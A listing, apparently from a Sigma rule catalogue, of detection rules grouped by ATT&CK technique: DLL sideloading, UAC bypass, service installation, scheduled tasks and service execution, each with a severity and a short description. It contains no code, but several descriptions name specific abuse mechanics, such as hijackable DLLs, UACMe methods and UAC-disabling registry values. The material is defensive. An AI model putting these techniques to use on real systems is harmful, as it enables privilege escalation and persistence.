ClassicExplorer32.dll - Level: medium Description: Detects potential DLL sideloading using ClassicExplorer32.dll from the Classic Shell software Potential DLL Sideloading Via comctl32.dll - Level: high Description: Detects potential DLL sideloading using comctl32.dll to obtain system privileges Potential DLL Sideloading Of DBGCORE.DLL - Level: medium Description: Detects DLL sideloading of "dbgcore.dll" Potential DLL Sideloading Of DBGHELP.DLL - Level: medium Description: Detects potential DLL sideloading of "dbghelp.dll" Potential EACore.DLL Sideloading - Level: high Description: Detects potential DLL sideloading of "EACore.dll" Potential Edputil.DLL Sideloading - Level: high Description: Detects potential DLL sideloading of "edputil.dll" Potential System DLL Sideloading From Non System Locations - Level: high Description: Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64, etc.). Potential Goopdate.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "goopdate.dll", a DLL used by googleupdate.exe Potential DLL Sideloading Of Libcurl.DLL Via GUP.EXE - Level: medium Description: Detects potential DLL sideloading of "libcurl.dll" by the "gup.exe" process from an uncommon location Potential Iviewers.DLL Sideloading - Level: high Description: Detects potential DLL sideloading of "iviewers.dll" (OLE/COM Object Interface Viewer) Potential DLL Sideloading Via JsSchHlp - Level: medium Description: Detects potential DLL sideloading using JUSTSYSTEMS Japanese word processor Potential DLL Sideloading Of KeyScramblerIE.DLL Via KeyScrambler.EXE - Level: high Description: Detects potential DLL side loading of "KeyScramblerIE.dll" by "KeyScrambler.exe". Various threat actors and malware have been found side loading a masqueraded "KeyScramblerIE.dll" through "KeyScrambler.exe". Potential Libvlc.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "libvlc.dll", a DLL that is legitimately used by "VLC.exe" Potential Mfdetours.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "mfdetours.dll". While using "mftrace.exe" it can be abused to attach to an arbitrary process and force load any DLL named "mfdetours.dll" from the current directory of execution. Unsigned Mfdetours.DLL Sideloading - Level: high Description: Detects DLL sideloading of unsigned "mfdetours.dll". Executing "mftrace.exe" can be abused to attach to an arbitrary process and force load any DLL named "mfdetours.dll" from the current directory of execution. Potential DLL Sideloading Of Non-Existent DLLs From System Folders - Level: high Description: Detects DLL sideloading of system DLLs that are not present on the system by default (at least not in system directories). Usually this technique is used to achieve UAC bypass or privilege escalation. Microsoft Office DLL Sideload - Level: high Description: Detects DLL sideloading of DLLs that are part of Microsoft Office from non standard location Potential Rcdll.DLL Sideloading - Level: high Description: Detects potential DLL sideloading of rcdll.dll Potential RjvPlatform.DLL Sideloading From Default Location - Level: medium Description: Detects loading of "RjvPlatform.dll" by the "SystemResetPlatform.exe" binary which can be abused as a method of DLL side loading since the "$SysReset" directory isn't created by default. Potential RjvPlatform.DLL Sideloading From Non-Default Location - Level: high Description: Detects potential DLL sideloading of "RjvPlatform.dll" by "SystemResetPlatform.exe" located in a non-default location. Potential RoboForm.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "roboform.dll", a DLL used by RoboForm Password Manager Potential ShellDispatch.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "ShellDispatch.dll" DLL Sideloading Of ShellChromeAPI.DLL - Level: high Description: Detects processes loading the non-existent DLL "ShellChromeAPI". One known example is the "DeviceEnroller" binary in combination with the "PhoneDeepLink" flag tries to load this DLL. Adversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter Potential SmadHook.DLL Sideloading - Level: high Description: Detects potential DLL sideloading of "SmadHook.dll", a DLL used by SmadAV antivirus Potential SolidPDFCreator.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "SolidPDFCreator.dll" Third Party Software DLL Sideloading - Level: medium Description: Detects DLL sideloading of DLLs that are part of third party software (zoom, discord....etc) Fax Service DLL Search Order Hijack - Level: high Description: The Fax service attempts to load ualapi.dll, which is non-existent. An attacker can then (side)load their own malicious DLL using this service. Potential Vivaldi_elf.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "vivaldi_elf.dll" VMGuestLib DLL Sideload - Level: medium Description: Detects DLL sideloading of VMGuestLib.dll by the WmiApSrv service. VMMap Signed Dbghelp.DLL Potential Sideloading - Level: medium Description: Detects potential DLL sideloading of a signed dbghelp.dll by the Sysinternals VMMap. VMMap Unsigned Dbghelp.DLL Potential Sideloading - Level: high Description: Detects potential DLL sideloading of an unsigned dbghelp.dll by the Sysinternals VMMap. Potential Waveedit.DLL Sideloading - Level: high Description: Detects potential DLL sideloading of "waveedit.dll", which is part of the Nero WaveEditor audio editing software. Potential Wazuh Security Platform DLL Sideloading - Level: medium Description: Detects potential DLL side loading of DLLs that are part of the Wazuh security platform Potential WWlib.DLL Sideloading - Level: medium Description: Detects potential DLL sideloading of "wwlib.dll" Pingback Backdoor File Indicators - Level: high Description: Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report Pingback Backdoor DLL Loading Activity - Level: high Description: Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report Pingback Backdoor Activity - Level: high Description: Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report Small Sieve Malware CommandLine Indicator - Level: high Description: Detects specific command line argument being passed to a binary as seen being used by the malware Small Sieve. Lazarus APT DLL Sideloading Activity - Level: high Description: Detects sideloading of trojanized DLLs used in Lazarus APT campaign in the case of a Spanish aerospace company Potential Raspberry Robin Aclui Dll SideLoading - Level: high Description: Detects potential sideloading of malicious "aclui.dll" by OleView.This behavior was observed in Raspberry-Robin variants reported by chekpoint research on Feburary 2024.
attack.t1548.002	55	Show Rules (55) UAC Bypass Using Consent and Comctl32 - File - Level: high Description: Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22) UAC Bypass Using .NET Code Profiler on MMC - Level: high Description: Detects the pattern of UAC Bypass using .NET Code Profiler and mmc.exe DLL hijacking (UACMe 39) UAC Bypass Using IDiagnostic Profile - File - Level: high Description: Detects the creation of a file by "dllhost.exe" in System32 directory part of "IDiagnosticProfileUAC" UAC bypass technique UAC Bypass Using IEInstal - File - Level: high Description: Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64) UAC Bypass Using MSConfig Token Modification - File - Level: high Description: Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55) UAC Bypass Using NTFS Reparse Point - File - Level: high Description: Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36) UAC Bypass Abusing Winsat Path Parsing - File - Level: high Description: Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52) UAC Bypass Using Windows Media Player - File - Level: high Description: Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32) UAC Bypass Using Iscsicpl - ImageLoad - Level: high Description: Detects the "iscsicpl.exe" UAC bypass technique that leverages a DLL Search Order hijacking technique to load a custom DLL's from temp or a any user controlled location in the users %PATH% UAC Bypass With Fake DLL - Level: high Description: Attempts to load dismcore.dll after dropping it HackTool - WinPwn Execution - ScriptBlock - Level: high Description: Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation. Function Call From Undocumented COM Interface EditionUpgradeManager - Level: medium Description: Detects function calls from the EditionUpgradeManager COM interface. Which is an interface that is not used by standard executables. UAC Bypass Using WOW64 Logger DLL Hijack - Level: high Description: Detects the pattern of UAC Bypass using a WoW64 logger DLL hijack (UACMe 30) PowerShell Web Access Feature Enabled Via DISM - Level: high Description: Detects the use of DISM to enable the PowerShell Web Access feature, which could be used for remote access and potential abuse Potentially Suspicious Event Viewer Child Process - Level: high Description: Detects uncommon or suspicious child processes of "eventvwr.exe" which might indicate a UAC bypass attempt Explorer NOUACCHECK Flag - Level: high Description: Detects suspicious starts of explorer.exe that use the /NOUACCHECK flag that allows to run all sub processes of that newly started explorer.exe without any UAC checks HackTool - Empire PowerShell UAC Bypass - Level: critical Description: Detects some Empire PowerShell UAC bypass methods HackTool - UACMe Akagi Execution - Level: high Description: Detects the execution of UACMe, a tool used for UAC bypasses, via default PE metadata HackTool - WinPwn Execution - Level: high Description: Detects commandline keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation. Sdclt Child Processes - Level: medium Description: A General detection for sdclt spawning new processes. This could be an indicator of sdclt being used for bypass UAC techniques. Always Install Elevated Windows Installer - Level: medium Description: Detects Windows Installer service (msiexec.exe) trying to install MSI packages with SYSTEM privilege Always Install Elevated MSI Spawned Cmd And Powershell - Level: medium Description: Detects Windows Installer service (msiexec.exe) spawning "cmd" or "powershell" Bypass UAC via CMSTP - Level: high Description: Detect commandline usage of Microsoft Connection Manager Profile Installer (cmstp.exe) to install specially formatted local .INF files UAC Bypass Using Disk Cleanup - Level: high Description: Detects the pattern of UAC Bypass using scheduled tasks and variable expansion of cleanmgr.exe (UACMe 34) UAC Bypass Using ChangePK and SLUI - Level: high Description: Detects an UAC bypass that uses changepk.exe and slui.exe (UACMe 61) CMSTP UAC Bypass via COM Object Access - Level: high Description: Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65) UAC Bypass Tools Using ComputerDefaults - Level: high Description: Detects tools such as UACMe used to bypass UAC with computerdefaults.exe (UACMe 59) UAC Bypass Using Consent and Comctl32 - Process - Level: high Description: Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22) UAC Bypass Using DismHost - Level: high Description: Detects the pattern of UAC Bypass using DismHost DLL hijacking (UACMe 63) Bypass UAC via Fodhelper.exe - Level: high Description: Identifies use of Fodhelper.exe to bypass User Account Control. Adversaries use this technique to execute privileged processes. UAC Bypass Using NTFS Reparse Point - Process - Level: high Description: Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36) UAC Bypass via ICMLuaUtil - Level: high Description: Detects the pattern of UAC Bypass using ICMLuaUtil Elevated COM interface UAC Bypass Using IDiagnostic Profile - Level: high Description: Detects the "IDiagnosticProfileUAC" UAC bypass technique UAC Bypass Using IEInstal - Process - Level: high Description: Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64) UAC Bypass Using MSConfig Token Modification - Process - Level: high Description: Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55) UAC Bypass Using PkgMgr and DISM - Level: high Description: Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23) Potential UAC Bypass Via Sdclt.EXE - Level: medium Description: A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for bypass UAC techniques. TrustedPath UAC Bypass Pattern - Level: critical Description: Detects indicators of a UAC bypass method by mocking directories UAC Bypass Abusing Winsat Path Parsing - Process - Level: high Description: Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52) UAC Bypass Using Windows Media Player - Process - Level: high Description: Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32) Bypass UAC via WSReset.exe - Level: high Description: Detects use of WSReset.exe to bypass User Account Control (UAC). Adversaries use this technique to execute privileged processes. UAC Bypass WSReset - Level: high Description: Detects the pattern of UAC Bypass via WSReset usable by default sysmon-config UAC Bypass Via Wsreset - Level: high Description: Unfixed method for UAC bypass from Windows 10. WSReset.exe file associated with the Windows Store. It will run a binary file contained in a low-privilege registry. Shell Open Registry Keys Manipulation - Level: high Description: Detects the shell open key manipulation (exefile and ms-settings) used for persistence and the pattern of UAC Bypass using fodhelper.exe, computerdefaults.exe, slui.exe via registry keys (e.g. UACMe 33 or 62) Bypass UAC Using DelegateExecute - Level: high Description: Bypasses User Account Control using a fileless method Bypass UAC Using SilentCleanup Task - Level: high Description: Detects the setting of the environement variable "windir" to a non default value. Attackers often abuse this variable in order to trigger a UAC bypass via the "SilentCleanup" task. The SilentCleanup task located in %windir%\system32\cleanmgr.exe is an auto-elevated task that can be abused to elevate any file with administrator privileges without prompting UAC. UAC Bypass via Event Viewer - Level: high Description: Detects UAC bypass method using Windows event viewer UAC Bypass via Sdclt - Level: high Description: Detects the pattern of UAC Bypass using registry key manipulation of sdclt.exe (e.g. UACMe 53) UAC Bypass Abusing Winsat Path Parsing - Registry - Level: high Description: Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52) UAC Bypass Using Windows Media Player - Registry - Level: high Description: Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32) UAC Disabled - Level: medium Description: Detects when an attacker tries to disable User Account Control (UAC) by setting the registry value "EnableLUA" to 0. UAC Notification Disabled - Level: medium Description: Detects when an attacker tries to disable User Account Control (UAC) notification by tampering with the "UACDisableNotify" value. UAC is a critical security feature in Windows that prevents unauthorized changes to the operating system. It prompts the user for permission or an administrator password before allowing actions that could affect the system's operation or change settings that affect other users. When "UACDisableNotify" is set to 1, UAC prompts are suppressed. UAC Secure Desktop Prompt Disabled - Level: medium Description: Detects when an attacker tries to change User Account Control (UAC) elevation request destination via the "PromptOnSecureDesktop" value. The "PromptOnSecureDesktop" setting specifically determines whether UAC prompts are displayed on the secure desktop. The secure desktop is a separate desktop environment that's isolated from other processes running on the system. It's designed to prevent malicious software from intercepting or tampering with UAC prompts. When "PromptOnSecureDesktop" is set to 0, UAC prompts are displayed on the user's current desktop instead of the secure desktop. This reduces the level of security because it potentially exposes the prompts to manipulation by malicious software. MSI Spawned Cmd and Powershell Spawned Processes - Level: high Description: This rule looks for Windows Installer service (msiexec.exe) spawning command line and/or powershell that spawns other processes Always Install Elevated Parent Child Correlated - Level: high Description: This rule will looks any process with low privilege launching Windows Installer service (msiexec.exe) that tries to install MSI packages with SYSTEM privilege
attack.t1543.003	52	Show Rules (52) Vulnerable AVAST Anti Rootkit Driver Load - Level: high Description: Detects the load of a signed and vulnerable AVAST Anti Rootkit driver often used by threat actors or malware for stopping and disabling AV and EDR products Vulnerable Driver Load By Name - Level: low Description: Detects the load of known vulnerable drivers via their names only. Vulnerable GIGABYTE Driver Load - Level: high Description: Detects the load of a signed and vulnerable GIGABYTE driver often used by threat actors or malware for privilege escalation Vulnerable HW Driver Load - Level: high Description: Detects the load of a legitimate signed driver named HW.sys by often used by threat actors or malware for privilege escalation New Service Creation - Level: low Description: Detects creation of a new service. CobaltStrike Service Installations - Security - Level: high Description: Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement Remote Access Tool Services Have Been Installed - Security - Level: medium Description: Detects service installation of different remote access tools software. These software are often abused by threat actors to perform CobaltStrike Service Installations - System - Level: critical Description: Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement Moriya Rootkit - System - Level: critical Description: Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report New PDQDeploy Service - Server Side - Level: medium Description: Detects a PDQDeploy service installation which indicates that PDQDeploy was installed on the machines. PDQDeploy can be abused by attackers to remotely install packages or execute commands on target machines New PDQDeploy Service - Client Side - Level: medium Description: Detects PDQDeploy service installation on the target system. When a package is deployed via PDQDeploy it installs a remote service on the target machine with the name "PDQDeployRunner-X" where "X" is an integer starting from 1 ProcessHacker Privilege Elevation - Level: high Description: Detects a ProcessHacker tool that elevated privileges to a very high level Remote Access Tool Services Have Been Installed - System - Level: medium Description: Detects service installation of different remote access tools software. These software are often abused by threat actors to perform Sliver C2 Default Service Installation - Level: high Description: Detects known malicious service installation that appear in cases in which a Sliver implants execute the PsExec commands Suspicious Service Installation - Level: high Description: Detects suspicious service installation commands Uncommon Service Installation Image Path - Level: medium Description: Detects uncommon service installation commands by looking at suspicious or uncommon image path values containing references to encoded powershell commands, temporary paths, etc. Service Installation in Suspicious Folder - Level: medium Description: Detects service installation in suspicious folder appdata Service Installation with Suspicious Folder Pattern - Level: high Description: Detects service installation with suspicious folder patterns Suspicious Service Installation Script - Level: high Description: Detects suspicious service installation scripts Malicious Driver Load - Level: high Description: Detects loading of known malicious drivers via their hash. Malicious Driver Load By Name - Level: medium Description: Detects loading of known malicious drivers via the file name of the drivers. Driver Load From A Temporary Directory - Level: high Description: Detects a driver load from a temporary directory Vulnerable Driver Load By Name - Level: low Description: Detects the load of known vulnerable drivers via the file name of the drivers. Vulnerable HackSys Extreme Vulnerable Driver Load - Level: high Description: Detects the load of HackSys Extreme Vulnerable Driver which is an intentionally vulnerable Windows driver developed for security enthusiasts to learn and polish their exploitation skills at Kernel level and often abused by threat actors Vulnerable WinRing0 Driver Load - Level: high Description: Detects the load of a signed WinRing0 driver often used by threat actors, crypto miners (XMRIG) or malware for privilege escalation Vulnerable Driver Load - Level: high Description: Detects loading of known vulnerable drivers via their hash. PSEXEC Remote Execution File Artefact - Level: high Description: Detects creation of the PSEXEC key file. Which is created anytime a PsExec command is executed. It gets written to the file system and will be recorded in the USN Journal on the target system Potential Discovery Activity Via Dnscmd.EXE - Level: medium Description: Detects an attempt to leverage dnscmd.exe to enumerate the DNS zones of a domain. DNS zones used to host the DNS records for a particular domain. New Service Creation Using PowerShell - Level: low Description: Detects the creation of a new service using powershell. Suspicious Service DACL Modification Via Set-Service Cmdlet - Level: high Description: Detects suspicious DACL modifications via the "Set-Service" cmdlet using the "SecurityDescriptorSddl" flag (Only available with PowerShell 7) that can be used to hide services or make them unstopable New Service Creation Using Sc.EXE - Level: low Description: Detects the creation of a new service using the "sc.exe" utility. New Kernel Driver Via SC.EXE - Level: medium Description: Detects creation of a new service (kernel driver) with the type "kernel" Allow Service Access Using Security Descriptor Tampering Via Sc.EXE - Level: high Description: Detects suspicious DACL modifications to allow access to a service from a suspicious trustee. This can be used to override access restrictions set by previous ACLs. Deny Service Access Using Security Descriptor Tampering Via Sc.EXE - Level: high Description: Detects suspicious DACL modifications to deny access to a service that affects critical trustees. This can be used to hide services or make them unstoppable. Suspicious Service Path Modification - Level: high Description: Detects service path modification via the "sc" binary to a suspicious command or path Potential Persistence Attempt Via Existing Service Tampering - Level: medium Description: Detects the modification of an existing service in order to execute an arbitrary payload when the service is started or killed as a potential method for persistence. Suspicious New Service Creation - Level: high Description: Detects creation of a new service via "sc" command or the powershell "new-service" cmdlet with suspicious binary paths Sysinternals PsService Execution - Level: medium Description: Detects usage of Sysinternals PsService which can be abused for service reconnaissance and tampering Sysinternals PsSuspend Execution - Level: medium Description: Detects usage of Sysinternals PsSuspend which can be abused to suspend critical processes Potential CobaltStrike Service Installations - Registry - Level: high Description: Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement. ServiceDll Hijack - Level: medium Description: Detects changes to the "ServiceDLL" value related to a service in the registry. This is often used as a method of persistence. CosmicDuke Service Installation - Level: critical Description: Detects the installation of a service named "javamtsup" on the system. The CosmicDuke info stealer uses Windows services typically named "javamtsup" for persistence. StoneDrill Service Install - Level: high Description: This method detects a service install of the malicious Microsoft Network Realtime Inspection Service service described in StoneDrill report by Kaspersky Turla Service Install - Level: high Description: This method detects a service install of malicious services mentioned in Carbon Paper - Turla report by ESET Turla PNG Dropper Service - Level: critical Description: This method detects malicious services mentioned in Turla PNG dropper report by NCC Group in November 2018 OilRig APT Activity - Level: critical Description: Detects OilRig activity as reported by Nyotron in their March 2018 report OilRig APT Registry Persistence - Level: critical Description: Detects OilRig registry persistence as reported by Nyotron in their March 2018 report OilRig APT Schedule Task Persistence - Security - Level: critical Description: Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report OilRig APT Schedule Task Persistence - System - Level: critical Description: Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report Moriya Rootkit File Created - Level: critical Description: Detects the creation of a file named "MoriyaStreamWatchmen.sys" in a specific location. This filename was reported to be related to the Moriya rootkit as described in the securelist's Operation TunnelSnake report. Malicious Service Installations - Level: critical Description: Detects known malicious service installs that only appear in cases of lateral movement, credential dumping, and other suspicious activities. Rare Service Installations - Level: low Description: Detects rare service installs that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious services
attack.t1053.005	51	Show Rules (51) Suspicious Add Scheduled Task From User AppData Temp - Level: high Description: schtasks.exe create task from user AppData\Local\Temp Persistence and Execution at Scale via GPO Scheduled Task - Level: high Description: Detect lateral movement using GPO scheduled task, usually used to deploy ransomware at scale Suspicious Scheduled Task Creation - Level: high Description: Detects suspicious scheduled task creation events. Based on attributes such as paths, commands line flags, etc. Important Scheduled Task Deleted/Disabled - Level: high Description: Detects when adversaries stop services or processes by deleting or disabling their respective scheduled tasks in order to conduct data destructive activities Suspicious Scheduled Task Update - Level: high Description: Detects update to a scheduled task event that contain suspicious keywords. Scheduled Task Executed From A Suspicious Location - Level: medium Description: Detects the execution of Scheduled Tasks where the Program being run is located in a suspicious location or it's an unusale program to be run from a Scheduled Task Scheduled Task Executed Uncommon LOLBIN - Level: medium Description: Detects the execution of Scheduled Tasks where the program being run is located in a suspicious location or where it is an unusual program to be run from a Scheduled Task Powershell Create Scheduled Task - Level: medium Description: Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code HackTool - Default PowerSploit/Empire Scheduled Task Creation - Level: high Description: Detects the creation of a schtask via PowerSploit or Empire Default Configuration. Suspicious Modification Of Scheduled Tasks - Level: high Description: Detects when an attacker tries to modify an already existing scheduled tasks to run from a suspicious location Attackers can create a simple looking task in order to avoid detection on creation as it's often the most focused on Instead they modify the task after creation to include their malicious payload Suspicious Schtasks Execution AppData Folder - Level: high Description: Detects the creation of a schtask that executes a file from C:\Users\\AppData\Local Scheduled Task Creation Via Schtasks.EXE - Level: low Description: Detects the creation of scheduled tasks by user accounts via the "schtasks" utility. Suspicious Scheduled Task Creation Involving Temp Folder - Level: high Description: Detects the creation of scheduled tasks that involves a temporary folder and runs only once Schedule Task Creation From Env Variable Or Potentially Suspicious Path Via Schtasks.EXE - Level: medium Description: Detects Schtask creations that point to a suspicious folder or an environment variable often used by malware Schtasks From Suspicious Folders - Level: high Description: Detects scheduled task creations that have suspicious action command and folder combinations Suspicious Scheduled Task Name As GUID - Level: medium Description: Detects creation of a scheduled task with a GUID like name Uncommon One Time Only Scheduled Task At 00:00 - Level: high Description: Detects scheduled task creation events that include suspicious actions, and is run once at 00:00 Potential Persistence Via Microsoft Compatibility Appraiser - Level: medium Description: Detects manual execution of the "Microsoft Compatibility Appraiser" task via schtasks. In order to trigger persistence stored in the "\AppCompatFlags\TelemetryController" registry key. Potential Persistence Via Powershell Search Order Hijacking - Task - Level: high Description: Detects suspicious powershell execution via a schedule task where the command ends with an suspicious flags to hide the powershell instance instead of executeing scripts or commands. This could be a sign of persistence via PowerShell "Get-Variable" technique as seen being used in Colibri Loader Scheduled Task Executing Payload from Registry - Level: medium Description: Detects the creation of a schtasks that potentially executes a payload stored in the Windows Registry using PowerShell. Scheduled Task Executing Encoded Payload from Registry - Level: high Description: Detects the creation of a schtask that potentially executes a base64 encoded payload stored in the Windows Registry using PowerShell. Suspicious Schtasks Schedule Types - Level: high Description: Detects scheduled task creations or modification on a suspicious schedule type Suspicious Schtasks Schedule Type With High Privileges - Level: medium Description: Detects scheduled task creations or modification to be run with high privileges on a suspicious schedule type Suspicious Scheduled Task Creation via Masqueraded XML File - Level: medium Description: Detects the creation of a scheduled task using the "-XML" flag with a file without the '.xml' extension. This behavior could be indicative of potential defense evasion attempt during persistence Suspicious Command Patterns In Scheduled Task Creation - Level: high Description: Detects scheduled task creation using "schtasks" that contain potentially suspicious or uncommon commands Schtasks Creation Or Modification With SYSTEM Privileges - Level: high Description: Detects the creation or update of a scheduled task to run with "NT AUTHORITY\SYSTEM" privileges Scheduled TaskCache Change by Uncommon Program - Level: high Description: Monitor the creation of a new key under 'TaskCache' when a new scheduled task is registered by a process that is not svchost.exe, which is suspicious Potential Registry Persistence Attempt Via Windows Telemetry - Level: high Description: Detects potential persistence behavior using the windows telemetry registry key. Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type. Turla Group Commands May 2020 - Level: critical Description: Detects commands used by Turla group as reported by ESET in May 2020 OilRig APT Activity - Level: critical Description: Detects OilRig activity as reported by Nyotron in their March 2018 report OilRig APT Registry Persistence - Level: critical Description: Detects OilRig registry persistence as reported by Nyotron in their March 2018 report OilRig APT Schedule Task Persistence - Security - Level: critical Description: Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report OilRig APT Schedule Task Persistence - System - Level: critical Description: Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report Defrag Deactivation - Level: medium Description: Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group Potential BearLPE Exploitation - Level: high Description: Detects potential exploitation of the BearLPE exploit using Task Scheduler ".job" import arbitrary DACL write\par Operation Wocao Activity - Level: high Description: Detects activity mentioned in Operation Wocao report Operation Wocao Activity - Security - Level: high Description: Detects activity mentioned in Operation Wocao report ChromeLoader Malware Execution - Level: high Description: Detects execution of ChromeLoader malware via a registered scheduled task Serpent Backdoor Payload Execution Via Scheduled Task - Level: high Description: Detects post exploitation execution technique of the Serpent backdoor. According to Proofpoint, one of the commands that the backdoor ran was via creating a temporary scheduled task using an unusual method. It creates a fictitious windows event and a trigger in which once the event is created, it executes the payload. Potential ACTINIUM Persistence Activity - Level: high Description: Detects specific process parameters as used by ACTINIUM scheduled task persistence creation. Diamond Sleet APT Scheduled Task Creation - Level: critical Description: Detects registry event related to the creation of a scheduled task used by Diamond Sleet APT during exploitation of Team City CVE-2023-42793 vulnerability Kapeka Backdoor Persistence Activity - Level: high Description: Detects Kapeka backdoor persistence activity. Depending on the process privileges, the Kapeka dropper then sets persistence for the backdoor either as a scheduled task (if admin or SYSTEM) or autorun registry (if not). For the scheduled task, it creates a scheduled task called "Sens Api" via schtasks command, which is set to run upon system startup as SYSTEM. To establish persistence through the autorun utility, it adds an autorun entry called "Sens Api" under HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run via the "reg add" command. Both persistence mechanisms are set to launch the binary by calling rundll32 and passing the backdoor's first export ordinal (#1) without any additional argument. Kapeka Backdoor Scheduled Task Creation - Level: high Description: Detects Kapeka backdoor scheduled task creation based on attributes such as paths, commands line flags, etc. Scheduled Task Deletion - Level: low Description: Detects scheduled task deletion events. Scheduled tasks are likely to be deleted if not used for persistence. Malicious Software often creates tasks directly under the root node e.g. \TASKNAME Scheduled Task Created - FileCreation - Level: low Description: Detects the creation of a scheduled task via file creation. Task Scheduler DLL Loaded By Application Located In Potentially Suspicious Location - Level: low Description: Detects the loading of the "taskschd.dll" module from a process that located in a potentially suspicious or uncommon directory. The loading of this DLL might indicate that the application have the capability to create a scheduled task via the "Schedule.Service" COM object. Investigation of the loading application and its behavior is required to determining if its malicious. Scheduled Task Creation From Potential Suspicious Parent Location - Level: medium Description: Detects the execution of "schtasks.exe" from a parent that is located in a potentially suspicious location. Multiple malware strains were seen exhibiting a similar behavior in order to achieve persistence. Scheduled Task Created - Registry - Level: low Description: Detects the creation of a scheduled task via Registry keys. Remote Schtasks Creation - Level: medium Description: Detects remote execution via scheduled task creation or update on the destination host Rare Schtasks Creations - Level: low Description: Detects rare scheduled tasks creations that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious code Rare Scheduled Task Creations - Level: low Description: This rule detects rare scheduled task creations. Typically software gets installed on multiple systems and not only on a few. The aggregation and count function selects tasks with rare names.
attack.t1569.002	50	Show Rules (50) Credential Dumping Tools Service Execution - Level: critical Description: Detects well-known credential dumping tools execution via service execution events PowerShell Scripts Run by a Services - Level: high Description: Detects powershell script installed as a Service PsExec Pipes Artifacts - Level: medium Description: Detecting use PsExec via Pipe Creation/Access to pipes Renamed PaExec Execution - Level: medium Description: Detects execution of renamed paexec via imphash and executable product string PsExec Tool Execution - Level: low Description: Detects PsExec service execution via default service image name PsExec Service Start - Level: low Description: Detects a PsExec service start Remote Server Service Abuse for Lateral Movement - Level: high Description: Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR MITRE BZAR Indicators for Execution - Level: medium Description: Windows DCE-RPC functions which indicate an execution techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE DNS Events Related To Mining Pools - Level: low Description: Identifies clients that may be performing DNS lookups associated with common currency mining pools. CobaltStrike Service Installations - Security - Level: high Description: Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement Credential Dumping Tools Service Execution - Security - Level: high Description: Detects well-known credential dumping tools execution via service execution events Metasploit Or Impacket Service Installation Via SMB PsExec - Level: high Description: Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation PowerShell Scripts Installed as Services - Security - Level: high Description: Detects powershell script installed as a Service Remote Access Tool Services Have Been Installed - Security - Level: medium Description: Detects service installation of different remote access tools software. These software are often abused by threat actors to perform CobaltStrike Service Installations - System - Level: critical Description: Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement smbexec.py Service Installation - Level: high Description: Detects the use of smbexec.py tool by detecting a specific service installation Credential Dumping Tools Service Execution - System - Level: high Description: Detects well-known credential dumping tools execution via service execution events PowerShell Scripts Installed as Services - Level: high Description: Detects powershell script installed as a Service CSExec Service Installation - Level: medium Description: Detects CSExec service installation and execution events HackTool Service Registration or Execution - Level: high Description: Detects installation or execution of services PAExec Service Installation - Level: medium Description: Detects PAExec service installation ProcessHacker Privilege Elevation - Level: high Description: Detects a ProcessHacker tool that elevated privileges to a very high level RemCom Service Installation - Level: medium Description: Detects RemCom service installation and execution events Remote Access Tool Services Have Been Installed - System - Level: medium Description: Detects service installation of different remote access tools software. These software are often abused by threat actors to perform Sliver C2 Default Service Installation - Level: high Description: Detects known malicious service installation that appear in cases in which a Sliver implants execute the PsExec commands PsExec Service Installation - Level: medium Description: Detects PsExec service installation and execution events PSExec and WMI Process Creations Block - Level: high Description: Detects blocking of process creations originating from 